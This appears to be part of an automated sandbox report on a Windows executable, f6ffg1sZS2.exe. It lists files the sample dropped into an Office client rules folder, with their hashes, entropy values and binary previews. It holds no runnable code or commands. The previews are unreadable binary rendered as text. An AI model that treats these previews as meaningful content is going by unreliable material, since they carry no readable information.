Preview:	<?xml.v.,[7SX=..].._.o3.R.......^.F.drP.f.?.YE.8..fZ.s......z..K..Lr.%J...H....Z......3/l..^..0jJ..k.c.Lo;0u...:%..:......Y..l@.....^j-3i.......,O.....~...I.{[........?......R.q.K.s.....'.S._z.3m.......].W......W.5.....s.Z?...u.O.....f.3.t.cCp0..k..7/YFmN....e....d....U..mc>. _..\|."w[[={...Hc...jF.u.J3+........:-....)..H.>...-.._ZZV...kco?..BV......O.BGf..1ob.f.....-.Z2>D...S.o.....:V...?..}.T.g.\|}../.............>wW.=...2B..k..}.....M]....)V.F6..}..\?...Gmu7Zx.Z.........o..A.....2.W....h4=.&.y..#"...B.z.X.<a..7.9.>...$....N...~..e..r",..."3.8.[@..:...,...X..\|...w)....2[~ .y.~...V..+R..Y.a...Dk.>.S}.[t.Jd.....Re.7..C.R....I?.O....h....&....v.(...Tv.N.B.w.......Y.<....H<.E.0...>M.:.U;......!.(.......O.t.Y.L....g5D.Z;4...(....+8....g..f.S.f.....'.LLy.\|..v..i...."~?/.C.....A/.......Y..O..i.h..X7.? #3........T..X..5LA.C..t.to.k8V.`.fdt..wa....../M.....}..\| "^!YC@.C.....E`..Vr.:X.l..f..B,.r....n....I..9.P.)U'...U........P.\_......E....RcT..'gu._@...L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.9050224066153545
Encrypted:	false
SSDEEP:	48:wwG9UzBl14idRxUEIAkhuX4BZb1wJSs/MIKkElD:wwNl15OEIhq00d/2
MD5:	63ED613DBB2CDF56FEA62775006A871C
SHA1:	502483CE0B67FC4B2FF4C9A98A8D3D17F15A509C
SHA-256:	06A84D06DE40D78A36C77EFBFCD589C261E457A0204E10E923F48C3E91D739CC
SHA-512:	8CEC1D755BFC361DCFA38B4E5914378BC831B64427FBC1E282C7AC4AADFDF502106C572283A37C7843BC727867917973F2B4A6E0FEEC99CD8F1BE8E13F7DACEF
Malicious:	false
Preview:	<?xml.'.D..@el=Pk>D....^+It[....W(...?.cnX.\F..=..&..c{...I.i...K.....D.9....C..}.....\o:.......8....r./.26.2.!;.;\.j..;O......kj.s..o..M.Y..\%9.!..G!.9~.r.Gf<..2x>..........Ss.y.`z.w.....+..^p.....k...pV....0...m.].g.y...W......L~.p#.a3y.At..?...C.S.3g..(."C...2..s...G.._.e..3...@.`]>QI...4..4.....HwR_......^..T.-~.6....W.....xS.B!.O..$.........VwAn.....W.ux......x..........d.P....!....2=....k`P[x..L.ppi.Zr4=.:;k..;W. ........We^T..TQ....S....&.t...8,..........v\|!...........\|....E...0o..e.........MmE..bk...M^.(.Y.2.F....k.yi..m.V}&.. ...yq ;QL..}....]...T...4.](.S.q}.........]F....F..9.l.;_A.2z.j.......\|1. )...c8.....a~.&..l^....J.D....(..;\..T...X^x.,.P\.....i.3Q.=.....@.\|o@r....AM.1...K...H.9-(...T].[f..\.....y.[....0..`}.GF9..E.c7...NFZ.c.r..H.;q...I.x.........{L`.K...#..2..t..f.....R....\|...r.`0....Hh...N..K..w...>..@Re.l.T...j.a..v...T..Q.....F.9G1............25l/.......nI..X...+.H...x...... ...m...`.t...m..@p).....{6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8842112985843125
Encrypted:	false
SSDEEP:	48:YCmfk4k1Kn5FWxZfNy1pwsWl1XOcmX7FOSjD:YPfkSTW7k12s8orF3v
MD5:	2134FB1C367A6C4D791F5303BE09A6C6
SHA1:	A31263288E1BF48B3FEE78B70C49D742474D28FE
SHA-256:	8EF05A8793B21B318D931D20AE59323BF36DBF3475E83C40643CB78040589B4C
SHA-512:	F97891024232899EDEE1BA9DA2C66EDB8602DFC3C068263C099C24A43637F272B6F76DB8A7DE006ECF94479F463EB70356A9F12042A9C5DAA385E263BDECCF4F
Malicious:	false
Preview:	<?xml..k.mb$.....s...n4lk..5..\|..s.F6#9A....M.....J/..Z.1y...<%.L2..:...p.9...J...2V.....<.T@4.W$@....)X...t;.#.%uz..3'oI.Z...v....s/..W%.........n..{Di3...Z..t..WU.....=g..+W.h...\.n./j...y`n..uK.>.H.Z6A.....=...2v.m..%.D........\|.n.y...i..."B.F...c..]....'.~.3..........Js...g..v..}V.._....B].j.....5.6.y........>....{&C!..S...Yax..U.=.O.G.}>.c0.6Cn.....\|!...~.H..Y.k.....k..y.....~p......`....T....Y{g..%...M.h%B3F~=._T...$..@.%R...X..!..G....,.3{6_}.g.}.=..{.6C...x...m...D..l....Q.#m.......lOmkW.c.d.\|....\...>....ri...6k..(.h...K.z-...]b.$\|[..[..on.....c.3N....j......@t.[.6.7BT..9... \|1.......^..,).g......K..:.v}..].oD.".......3$fM ...v=.....K.js8..B.%M..4+...i..........3I.s...mxFr..N1..7.h...xX,@vw....s.l%.Q...<...}.DG!j...........O.uV;#..J.......8..a.R...r$..:r.=......x..j...T..n.0.A....;X0>f...!...].k.(.l.....8...W..q.Q ..............H....YO.Y......^C.g3.=p2.\"...eo{..,.)v...(.X.J.w...*.Xc:le...gW..g.u.\.....5.."..e.in......f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.867268801881946
Encrypted:	false
SSDEEP:	48:C9NPrlzrD/YsDFoKKJraqbwUYMzu+CT8oD:CblzrufrJ8XMeTf
MD5:	C5162C668D3C0051EF2F344D326337FC
SHA1:	7D2AD14DFBC99E8BA3DE5F09165E435B7009EC2D
SHA-256:	A82B116EFB0B0454DB5A29310BC0E35E1877E7EC0EC7A96CF2EF4CEAE928F964
SHA-512:	26D2EFC2EFEC8A0DA820FDC1094951AF53901192C75310C4C01416D01BB93F5898F89CEFAE8344637BFFC6DCC621B11FF1D94BB73E3F8A3222012BBA02DD9CF0
Malicious:	false
Preview:	<?xml.K.9c;....(..O...>....~........o].......SKN..7.$...ei..;.8a...@n.y.........9.cC.nAI3..2R+];..t...(.'.K.V.......>tJ....kk.F...i.A..F...EL.....\....l....?.\|...h.N..v...[Cn.t).r..._T..}....3+h .`.".!..........6.......%2yW.%...%.,..j....p.k......qi..v=.Xi25..<........q....9.T5....(..o.. B[.....+.4...)C.?.E..7t.D..D~.....2...:..f5......W..1.V..8.xg.Y.O$_]..A..........}YqL.QS...!.I.1U.....u.).......R.SI..vgi.d....&.l......cC.\|.Y.o.DP..?....b.'g.37.(t..(.f&.....f..*.U]Zv....;...#.....V-....S....#.D.<}qi.....c$..(.Y.j...9...o...aK.j^.i .K...b..p.A9..T..d..\|......I.~......:n.?.?.j....y_k..s.j..\..%.....p...%.]-..$........~..B.%9..V.I.....B.4..w..:1..........F....dp.F.&.R.v..&#..T>N....`]..f6.....%..O.6......1...Z_..5``.B....AJ0J....M.f3....9....tu.S....tK&...pd..\|.'.F}T..t.R...'.\|t0..d...N.O.Gz<.......g_].yI.-.V...5../.53.......%..:.4E....q._qB...ZV4.c.Mz.(s.1b?......Z..ZdC..+C..].K.z..........]........\%..+....g,.$+.='..^E..p.H..s.~\|./A.A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.892692675857523
Encrypted:	false
SSDEEP:	24:Xul5FE54YiCSYlr+iFyIFmWE1uarxm65bod77pohKwbLr0MyjaaP7qLH/5df/NBb:XxTMw+iFRFJ5arxmJ36Nny+CsHxtfD
MD5:	83313F6B22405143924C87F5F3252829
SHA1:	94040B833209BDEE4FA5A6381B7A7E2EA498F401
SHA-256:	4B34B18D2FB37D0EAC4FCAC52B3963FEB0BC4D7E8B33CA20F05D7C810840A004
SHA-512:	42F0CB307468B0EB4683DE19480C341841C34AD25FDB016C8629EBCE31F0192710BF7C4154FCE80D463B958428AC202E40FB3C9E4D6985F47EDED7113C132C27
Malicious:	false
Preview:	<?xmlwAP{3..)1_D..mkpWZ.%.5....}..h.ov-.....)BD.(....R..\|.;...5..7l.6$....N......~...%..m..r..M.NW.e.\|.!.a.z?. .f....U...KK...}.3.7.......I..\P.f.......c9..).....e..R=.^u7....X0....`l.....zz.....B...z..j.3.......H(u..m.v.G/..y.. .9."#..l...\..;./..ZV......Ob^2)m......Gm..p..........CV...iC..?!.."..E.3..MXv.H.p.a.c[ .t`..u%_(.eN^...qh.J7a....S...7.....V..m.v.J..K.......S/..%,u...@...a.2..w:...KA.6].b0.\|Q.u.5..}..ak....n.M.L#.l.\|,...m'..i...)h.K.......{o\|.)....I....4.......>s@.s....0.1.f.[.i....B...^....j.j.JcK4$...4.e....#.....<!i`....q......y][.......h.9..4K....G..xl.;H:...........6..R?X.~.J...Ft..n.t.D....U@$J....u.w.........F..e....&.W......f.. 9_.K.V.iZ....N.v.J;.a..lv....3\|.+...2S..7...%F..g...F.{.N/......^Yb..#..:...P}..7.d.....5Xh.#VW....2;=...........(...F.lo(.7.y.....%P......K. ....oi.Ph...w..a.W.u.@Qm.b....).d([7....s.k.....F`...6x....$.0z...-s.......@../!.../.b+.).a^.. ^C.......<.&p.....S......p..FKB..)P.-$.y>...3F..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.889331061485686
Encrypted:	false
SSDEEP:	48:3kMQO2XxpjOeIh2H8x7axfHDXZQKOwG/6i815VfIMk2D:UMQOYOeVFxDZnyg1X0u
MD5:	1A6CF371CA12586C03BC8B37549F235D
SHA1:	420BFEC1E7D7A371E8AB288FAE14324E3EB8E385
SHA-256:	A2E1E092A2361F3BE743CF2E29CD2D0E70E34EE0BB6CE75577B5B6077345DE63
SHA-512:	5CD9BF4F0BEBB6790B95B15BFA897A1A4EA84C75E6D094ADA9D1C6E4D62B906415734C4112BEEDDE666766FBDF453B11B6C1C3FE416E3A6859128F73D5C8AD02
Malicious:	false
Preview:	<?xml....F....}....W'.=...w.+...<:..S.3.....n.3E9mH`kl.l.7..a.Q......Pv.L.V...{._....H.o.z...$...K.c.P^.....V7.m....'%s!mg.wbcZp.9..........V=...V./.w.c...`.5.Y..../x....d0....Z.EZ.I.T.%..N..."......).]q>...D)L\|x...7P..R.....D\|.1....RK.. ..#F............. -...m.B....8.}d..0W<.~~.'r4.......T01....{gj.^..vGS......S.PzX..%..J....EV ..J..;.0.z..M....w...7r.....u..X...?.#..I.E>.y^.c......r..:.O].U..oJ.{2/.fn.4Z..Z.....0.dB..(..~...R.*.;.?\|....2..q.....h..Q...g.jO..W.........Rw...xn..9,..&.........c..ZQ...?.....k..{.F..I.....c.....bAuw_)b..P........D.m8...W".A..s......6).......M..02I..\..U.\74..P..@h.NF..m......J....$.BB...U./.x6).{..h.._\aP.q...h.P.3......`\|..k.9.;...l..4/..`!....T.....Qd..%{....._[L........Z0....<..js...'...I3S.....1.2>@..q.........?.].....v.W...}..M......m2.9..-.0h.xuG....j.........!....kb..h....R6.... <..O."(.g..7..({s3......'RSf+.u.t.N.I..^.$?...J..../F.R3k......$.6MS......Ji.8.8..l@......R....J]..$..........8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.891304546482898
Encrypted:	false
SSDEEP:	48:TXxdiwldAXvI5nNco4UDPG7JXvkiFGQukEMMoMEaon9J2QT9a5V3AaEFqnD:PNTJ4UDPGqTMvMEa6/F9U3AaHD
MD5:	0A5B2B756304A7422796C7610DC03B4E
SHA1:	EF7874189EE2B4208FD22C919004ED3B211E2C69
SHA-256:	FA27B73DF258B22296AEFB26BC9FF57DAF6FFD7D26E86E0730FC168E6E2D9DA1
SHA-512:	5E5E85843B300290FD847419F2A1BA2A983ECA4E9510F82B277EF546006639E78B0D9821C4CA034AB93E544A272177001612225BB400AA508BD69CD88ADA23B9
Malicious:	false
Preview:	<?xml...\|...9G.o..Aw...T.G.w...S.Z....L3% .6..NHd.TMc.{KH..-/#:_jO...S.~...u.`.f.x.v.&...].$..?...q/.U.Jg.M.u(.~`.A.N..[.ND&..._B....Q.Bs.h.....k.m6..0D\|..Gk..r..cT....D.v...I...d....n....k}.}..q...L;....u.\|D....Y.....=z.....o.K......}._.md+T..t3..k..x.......5.s."....U..v.<Bi.FJf.6.a.b..Ya....B#5.p./'....F.vH>o^...A.f..%~z].MUet..B~..A...k9I...N.u..4.Fs...o.S]..h...f..=.p..b"_n{...1Z ....6....6\g.(.....s+.6..j.7...,.}D..>rKr..-.....)..q..>~..A.1...[...S..Gt.O.3.&........<.Y...\|.....Lb<.`.......w...P..e.J-.nf...&._.)b..TN.......(..[.~.c.z.......t>D..@......g{'%N@...L[?...l,..'s<.....u@E.[..k7..1.(.e"t.~e5....KF?...].]...{hR.`..T.o....f..?+..hS....6...d.*...=Z/.....8..B5..w.i.9."..>M.o......d../.4%".+.\.T9.....rx.1..b=wa.e.:'...P.DT!.clc..Xw...GE.....C.H...C..U..C.eA.T...W<..PT.t3..Z0...E]D...Pqy.........k.`$...wzP\.....2.../D....jY..7..K1\...QT..Z...<PA=Ya.........dD.....I7.x.'y.U".....>.w...=.Z.f..~..3..9G.]I.~#....}.....#)Mh.X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.896354402096952
Encrypted:	false
SSDEEP:	48:qJ2Dv5uCpJOn95XXmOYxU/dXlNXbZbZj6rOb9sh4HD:q4DYnPnmBA1NXbZ9j6r69I4j
MD5:	2DDE13F0EF3E2916873CC5CA9DC81450
SHA1:	BA17E2D6A6C9562AFFABE2A57E1CE30B60107D64
SHA-256:	D1B93D13C4B35568B41FCDC676657C7D08D9809CBA1BFD873110EC4F0B98EDBC
SHA-512:	E5069160EA93AA60AAD52AC1E24CFC8A4DC5897D9C0040188B7F47D131E98DADB90828AF739C68D38EE8BE7ADEB0CB20FEE464944484E8EF2A46C111B476C6FC
Malicious:	false
Preview:	<?xml.._..SP...>.....i.....8.=....{...^..jm._./.G...i...3.ijL^s.....d....k....)e0..H.PA.pr..F..ID.l.;.~:.K!..L....5.]N.H.....^.T...D..x.. ..q....\...^e..S.....vx....j=..."..<.&y.mW..... ..2..`.....PE.$A.#u"!u.r....f.I.K...?.xcDU.2...J..GJ....<0....n.(h.2G...'..\|}.l...a.)s.X...i.%......r..$..W<.3=1w.....%..0.1.N.~...e.D..]a.GVz...=..n...m..t......{+.w5#............BI..\|L.#..0.!..J.... ..e..;..5.&../.;..R&.e.Y.j.t7bs.jn..L.kw.K...a..6..'.:c]vQ....1.........N4..l\|e.v.&-(.s...g.]9t.@.`...9I...i...;l.km....I..(p..Z..G.Ay.\...7q>5.......uy..g.....n.z.!E..6.p.U...L'....ULJ..%J.ok..0?}..R(.k.x.#Mi......X..a...>.&XM@N.N\|...f...a.<..?..J...0O.@.....v.?.;.V..X...,....._.Y...Y"W{......z7I8v.?m...'..n.. t..j...w.!.[-(k...7..!.OzE...N..v2.qH..`.nY...S.G.....5.k....D>6.&b..D...J....&....}..L.... .T.A..Y..[G...P.%..V..l.u.....{..e.}./.m#wJsV./..2.>(....m.x...Sk.G....x.....Hou...%.,.f.g`V....$....f..$.vm..7.x.;xn.G....d...o......Y...r.].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.899445200854292
Encrypted:	false
SSDEEP:	48:2AMJTGmqQ0JsdgySIdEfmaJHyJyF4GyDcGPD:2DKmqXidgIdWyQFJyZ
MD5:	6ADA04548556FFB12D86B80A29507C8A
SHA1:	07C596353C196E9C15BC0BA357C64B114CDB4D99
SHA-256:	4B7BC86EE584BB5C56034D4755B6C7C9BAF330A72D734F743CE3A4E0634C60F3
SHA-512:	F339141DEDEC448DB7CB4C89EE54D5BF2B53EEC4A7BB2F24B9BC2754B30264A699BCD813E5CC22A8E2461DBE151020F3CAEEB347C27466AA1420EB88AD87D3B5
Malicious:	false
Preview:	<?xml.{._.....C."..X....\|.eC..%....o...c...S..I.$..;.0_..>.x......6...3.m ......X.....u.Yr.....YN;...B..%9.6...gX.......n.zqg?dS...&....v.-O..47...n....b..#...h.{J.....i0......u...u..nHo.....7o.5.....m.QXTf.....g./<.j....!..O.......#......d..x8.a..c.......\....)......3.......cR.....kn. 1.b.o..l....\.a?.5.....IPz<.e(..m.{"%.P..S.....V.Y...yG..TI.c...!C.-..O.V..Zm..^Fa.......\|.V....5....6........?.0.../k....l...J..5... >......c.).o.nz.+...L._W.........\|..}np..~.d)...yrQLjd.=oU.p+{.j.[E.Vsz..~V3.NH9...v6...cY.6C.O...7...C....r........J$..2v......2..#9.h9\x...J..}.@.6...-.....=.V.sa...F.44.....(.Z&....R.M..-......a.R...8..K.R..K.A...I:..p@..h.\|....2H2\:...va.?.v.r.bcR...ov......VN.sC0;o3(x>.dK`...........WB0....[!kv2.?.."e..XY.u..j....AUs.8.....L;.5.#m..2.lJ....(.d..f..M!.D.Z.h...FbH...L...s....+.x.3.)..<c!._!S...!.>v.l.4....M.r...+..6~.J,.e..I.......y.B..9.j0....Wj....Dg...F..z..1..$mi...].8+.j....'...ox.o.N.ii....Q......'&..^....`..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.878562869253612
Encrypted:	false
SSDEEP:	48:J98dodQ7j/VJpAAUaYg5vo1+P/CUWkjuED:zGrj/VLBn5voK/Rjt
MD5:	51DC2C02672D57F8B11190709AB175D0
SHA1:	1D71A1C7191AA6F3F816F280957E1A2555FB6F3E
SHA-256:	74341E5D10E53A018D5DF3A52C828592D3D5F8C8567099E070298183C7B46C78
SHA-512:	36003681D9DE0D288142A930E32A7BDC39414362CC860A486073008C029951FBA828CAE0E6FDFAA328779A9C1F88399FAFDA1443282CBC9771A690A26407053F
Malicious:	false
Preview:	<?xml:.J....6,_PGXl;..og.:(.6.{Uo.(wIu..k.W..e^&....q....^56...F...].7.K.!.d..q.......b.....I%._4E.bE.."..yAo.(.<e....N....e.6.l.ti..F....M)9$.....~.!p.%."P..:.;.M.O...]...'..C.e..!t.ju.'B...L[s.....\|....$....q\..t.5......h.c..A..Z..>...w.(....).hA..(.BK.{\|.2>..8.U?If...C{u:zJ6.).T.N..0..&g..<UT'e\7....<.T...6W......)@m]..E..%.I]..C._..(.h...k.....W....".~...;D.S.r.A^6I.H.A..,. ~.S.f%E.../..\| .T.^..........M^Q.n.u..z.3w..w......1.FOU.u,R..^<\/......B2....b...Y.L.'}\|...A...t.<..W...m...s..T..=B.uk.%f..... @.o..;...5O.T.\|.I.u.E.!X.Y.'.gmb'x.H+...4.3..aB..1..J....[..Ks].\.BZ.S.R&....{..:`.P.3]..@....T..8.3..BL2a.......CM .P...l....2.6`..=..m._.18....o.n.."....zS.].Y.,..b.?..}H0...5<t..r.;.i1s>.....e.-.Yha.\..).....R.T"B..d.+..r.....<..m.>..[/....w....,...*MX....@\|C..'8.......7...\|.".......h.A..[Y......d.,..4..".........%..c..-d_..~......m!.si..(.;z.[...-".YG...}./..^...8...e pe.F?.u....UQ..pWT43.."....Tc.....JO........1H..&..4..JJ\.'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8843776496582105
Encrypted:	false
SSDEEP:	48:+JHulmEhoLWYvXJ3YENQmpV//CAAK5woutVRD:gHulmeoLTv5oECoViAACwNHZ
MD5:	EFD03E370C021117F71A73DB995FF265
SHA1:	4EB3D87A2F2E4FD0CDEBB7C46D8923A273176CD6
SHA-256:	E35608AEB9D208B170DAFD00E700EB177E17D0A05AF89670D4D85BF64B09AC21
SHA-512:	83A5BB60D59B8F4B431A875C35326E7B8056D505610AD47F37FC133CAEE83D1274273941E6EB3F8EC41529C2FA36476DC4122FAA209CB1D45E01B8A863A171AA
Malicious:	false
Preview:	<?xml.@.....e:....S.......>r..[.E.....):. mm'??.O...T..:X=..(;...^w.T(P V..e.:..~L.Rd..S.F.)..?.....z...wBT...;Ab...iv\|f....a(..,.;N...g+...K.b..r........p...........d..../......M.5..{.!{n.a. V."..6.L./_..R./.X.L.H.th.....^.rU..)5.7./M.....L...+......~r.,.w...)@j3Yq.^...B...O...,I..0.J....u<j........=...m....5.>....4...."....c..4a.X. ..H%..c..+..Q.G..[8...@".....e..;.M.I7.o.;..]/.........N...=.....L...h.b...s~./s-h..~.>"`.g.s.w..(X...[.(..".!...pc1r...?..HG.w.Bv...a.R.....o.Jl.<..UYal.O.N.x*.e.!Yiq......$P.j"+.J{....6^....f....`.......J.... .+.&......K.....G...@......a......#!._.>... .MK(G......3..%.r......i...H.k..5...M[.82!..s......Tv........W9...A.g...4;.........pI.Uo..x.Z....P....".y.....P.Ua.@.:3..=+5....AB..@9]y..>QD.....%...Mu...._.1P5...........v..A.gM.-'9....._0........~....\|...a..J.8e..D..kT......yB.,....S........%..d.P....O/.YQ...[..j...j...}......q...aR....L=..;'n...;Y.+...q.....gs.[c.Fp.3zY..@..x0.v;..yw. B.....g2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.881436301262573
Encrypted:	false
SSDEEP:	48:k6iD3/4P7CWdksWPcDlHdexUzdoWaFiFi7D:kjDAP7CWdkJPcBHdeezXi3
MD5:	95B64A921BED867C79FC510C0A439D19
SHA1:	C8306FA5CC45D868392B0C766136B3B8F85F6251
SHA-256:	4C01D568471ED8EE472544FA4B6E4F7B3F9757B8A1C66DE594322907449ADBEF
SHA-512:	A3BCAD574B6297D790ED14D88BE15F987646E188723F015A533BAC01AD80A77369591D4BD138E0DCF41CB623388C46DD4920B8ACCADFDFA771F95537E136FE67
Malicious:	false
Preview:	<?xml.....7y.v.>.=I..7C.O..$..%.<.r......9.p".Jh..}..L..p'..X....<39!M..O...\|.v..?;..I...~.ZaV!.....H....6_.3.q.^I.Se!.....;.\.....%C..yW....eR.....7....o_.......{.....a6..1yX./j#.@G....b?.....q:..N;.#G&/..a\...:.....Jy....E.....4.CF..[R....4.I.W.U.f....X{K.U.`....g.=P............YN`..D2..=.C......nA....qI...6@..n....+S......0...-...:....I...jr........`H-5..1(#oB.5.....'.\|.n51s...5.i....d....A....jd.W..3.h...;>9..'......!......`.p...j..q.$..fC.h.q}..?...c.&qzPt.R....3.......86.L..KGC.p'd..V.a...f..4z..FT....[....#1..C.......9n..Q....h..c\._..;...[.Ag.10Y..Z5...}}........H.[.i.....Z.<..Z.~!9x..?3.}.R:..:z....>....$h......>..7.ti.OGg.g.~.4../;...(..h...@..>.E..]}$....(..l..]...k..d86...a.e..>....?...$.A-...k..@$.X=..$}O..N....>...i..jT@...%{.Z...F.....lD.8.P.\j....L.z..^..$...Oc[B....y:..1........".......c.......JM.'...UV..%....!...F..x..IE.a.....T..b....!U3.^.).j....S.7lD?@(..d.X....a.i....va>...ZqC......p(..L.e~t...}..xEK.....Q...Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.877710381764774
Encrypted:	false
SSDEEP:	48:8+r2yUpsK2yOUuYfIL+yNMlWtr6n3b8YGD:L4iryOUzfIauMlWC3ot
MD5:	ABC42FD4C719FE36B62DAEFBF99920C0
SHA1:	6BE7A8A5884AAF4F394CAF22CE4E61844CCAD790
SHA-256:	10B89D574A174299DCE94C79E8C010A65974C7E70398FB1D3BCDCE1973F7C78C
SHA-512:	E36F3B18A425655F386D9143185BC9C49E2207EA71E80F4B3C1F579174451ADD1B0D03E14F542A1E5039784F71E6962455CA7B309686B443DDE66509F3C2B0FF
Malicious:	false
Preview:	<?xml.=.U..e.;-e.]..Vl..M.G..<..l..!.,..'.a.....A...........l!.)...J.b..Y[-)Y".[)q7.IB.:sU.Tp....L..hkS.B...DL.c...g.S........"..E.SqO..g...]..@..2..w`A\|..........w..c..v.{.4.t..q.!...\.6...l.,......3a............".\|px\|m.pb.qY....}..(.e....>..*{..&@..<Q...no\...R.}':F5.I.u..W.VJ/.bL..(....m....EJ.@...L.WK.S~..V..K..Y.....l.w.8i.....C........V.u..a......Y.C2.....r...u..SIM.....m..\|R...H.......7.fr....s..9w.k..#B.4..)...q..N..Tt......g..M..DB..u..\..z..xh.0...."v.....H.......5}.................w#.........zP.X?O.:.t.n,..2.+/..a..W=8H..U1.;d.....KGr.u.Rr.J...+..;J..bm...J_..]....B0_.A.........H.%..N...].......u?c.."...9...L..&......u..,.g.r.{$`......4/]./[u..G.8........ ....HT.........Pe...h...?f.! .?8...U.N..p/...)h...^...u&..Q&p=...)w......b.t...?).....+.x`xP?....G.A.g7.RE..}..../.........H..!.g.I.?.C2Jh;.7.;.4.J..NW..&.v4...s...]T..d.~.<.)>..N.2D[..!............B.d.3vB.!.F...p.m.N.......W..b..CK.....:...h..YD-./.HQ.&8.....;SF...C........(....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.902300479919887
Encrypted:	false
SSDEEP:	48:Yf34tZCtt84EVWV3GHSeMhx8kHIOogVgXpqrD:YP4Stt84hV3GJMh1oOVY0
MD5:	E18FB62A3F71B76309CB741340921A3D
SHA1:	BC51153C7C65E36BC5F3D4163EBD0E4A43EF023A
SHA-256:	3B4B3E12BAC6B62144093F6ED5BA754393BB4C96CC389B54D863EF7D78C931EF
SHA-512:	7004C947D50B026EDCE7FD0C53BFA40529E6ED3B4560A3D09254DA995DEAAB6311143E3601F2B06D4292A5615115CC8F9250A3456923371E3A130230DE68563A
Malicious:	false
Preview:	<?xmlo.,_..\..............H;.).i...r.......pM.jG.P.5....C....b@. f...\_O....+H..D..Jr.;Ax........"+hh.(y8L<.eA..J.-...N......03t8...7....EL...;4.. 7\@...g...`.s...a.P..5\|p.+..1..CV.......GnD.....)....>)....Q.1..zpJ.F2b..n._...y7.?...'........u$..P...&...>...D.W..u/.#'..!.u...\.Y%C2.&...+i........:.c...=.t\|...K.....=m@.....&.......G..t.0.9.k.\|]..."....5.&......\|....l..%y~h"Cq..g.0G[d.u..C../.,..m.......`.........).u.....~.....nle...\|H..LP....>4;.6....Y..........v...N.R7.&.;.p.+.?...=.Ww...}.....o.Qd58B.e0.....Ob=)KO2.%......Q..O1...q?..=.......ma....)......yA...Z..oo.xV....]w.R6..B.. ..`.i...w...8g.&sN......7y.......U.L_3.....n.{.C......x.S.!......?....\|a.5.....I. ......S..'....g.K.\..,......8...........t\|$.}y...j9]k...k.N.K......fTJ.W..9.LH"...O..b...Oz..M.2K.^2.P~.........%.R..{.l....yK./...a.xL...q>LE..&e.P.SD.O..v....4e.P....Ml(.?>.`.va.b......[.(..".....l+I...H.3.E.8..iTj!.fu..3......<..P......{.....5....j.....o.9V.t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.897715674809543
Encrypted:	false
SSDEEP:	24:jzrqfyFmT77TWFnFgigArP1UGHSEq+wGpyKtMjHudETcFvIXEHxkDjPgLbD:TqKFm7ToTr6iu+wpK2PT4vCERsuD
MD5:	3A6D7E16FF6F8CAC32293A982DF8FE4B
SHA1:	278D2DF49F21D6506428C16726A0214B17E8D981
SHA-256:	DA5FA51FBC1237AD4C4FB8CD1DE19A8D7E93C08B9B3085A7F1F499DBF3D78671
SHA-512:	9A0FE87B8F65DB3F5856EA7E83E99DFBCFD24CE399DE80B7A3ACD72B9A58ED97034B3257CB67ECB7F5B92D7D5292425D0F233A19133CED8DF439796723319C23
Malicious:	false
